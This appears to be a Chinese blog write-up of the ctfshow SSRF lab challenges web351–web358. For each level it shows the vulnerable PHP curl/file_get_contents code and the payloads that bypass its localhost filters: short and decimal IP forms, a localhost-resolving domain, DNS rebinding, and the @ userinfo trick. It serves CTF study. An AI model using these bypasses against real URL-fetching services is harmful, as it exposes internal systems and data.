ctfshow ssrf

ssrf

web351

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

存在/flag.php

访问提示没有本地权限

payload:

1
url=http://127.0.0.1/flag.php

image-20231018213400557

curl_init — 初始化 cURL 会话

curl_setopt — 设置一个cURL传输选项

curl_exec — 执行 cURL 会话

curl_close — 关闭 cURL 会话

web352

过滤127.0.0,localhost

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

正则匹配没有参数

payload:

1
url=http://127.0.0.1/flag.php

根据parse_url()函数的解析,这题还有各种姿势获得flag:

  • 127.1会被解析成127.0.0.1,也就意味着为零可缺省

    1
    url=http://127.1/flag.php
  • 在Linux中,0也会被解析成127.0.0.1

    1
    url=http://0/flag.php
  • 127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost

    1
    url=http://127.255.255.254/flag.php
  • ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

    1
    url=http://2130706433/flag.php

web353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

这里只能用http和https协议,然后过滤了localhost等环回地址的过滤

可以使用ip地址进制转换绕过

转换十进制

payload:

1
url=http://2130706433/flag.php

web354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

过滤了0和1,上面的方法都不能用了

搜索指向127.0.0.1的域名,直接拿来用

https://www.maoyingdong.com/domain_to_localhost/

payload:

1
url=http://localtest.me/flag.php

web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

host 长度小于等于5
payload:

1
2
url=http://127.1/flag.php
url=http://0/flag.php

web356

host len小于等于3
payload:

1
url=http://0/flag.php

web357

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
**error_reporting**(0);
**highlight_file**(**__FILE__**);
$url=$_POST['url'];
$x=**parse_url**($url);
**if**($x['scheme']==='http'||$x['scheme']==='https'){
$ip = **gethostbyname**($x['host']);
**echo** '</br>'.$ip.'</br>';
**if**(!**filter_var**($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
**die**('ip!');
}



**echo** **file_get_contents**($_POST['url']);
}
**else**{
**die**('scheme');
}
?>

利用302跳转或者dns重绑定。自己没有服务器的可以在http://ceye.io/这个网站上注册一个账号,然后就会给你分配一个域名。

image-20231019214423105

在这里添加127.0.0.1的ip。 再用分配给你的域名去访问flag.php。

第一个随意写,第二个为127.0.0.1

格式为http://r.xxx/flag.php。

pay;oad:

1
url=http://r.****/flag.php

web358

1
2
3
4
5
6
7
8
<?php
**error_reporting**(0);
**highlight_file**(**__FILE__**);
$url=$_POST['url'];
$x=**parse_url**($url);
**if**(**preg_match**('/^http:\/\/ctf\..*show$/i',$url)){
**echo** **file_get_contents**($url);
}

[正则表达式字符](https://blog.csdn.net/xhmerry/article/details/1550928#:~:text=%3A 匹配前面的内容出现 0 次或 1 次。 %2B %3A,恰巧出现 n 次。 {n%2C} %3A 大于等于 n 次。)

  • ^ :匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 ‘/n’ 或 ‘/r’ 之后的位置。
  • $ :匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 ‘/n’ 或 ‘/r’ 之前的位置。
  • /..* :匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。

所以,正则表达式表明以http://ctf.开始,以show结尾

payload:

1
2
3
http://ctf.@127.0.0.1/flag.php?show
or
http://ctf.@127.0.0.1/flag.php#show

ctfshow ssrf
http://example.com/2023/10/18/刷题/ctfshow ssrf/
作者
Englobe
发布于
2023年10月18日
许可协议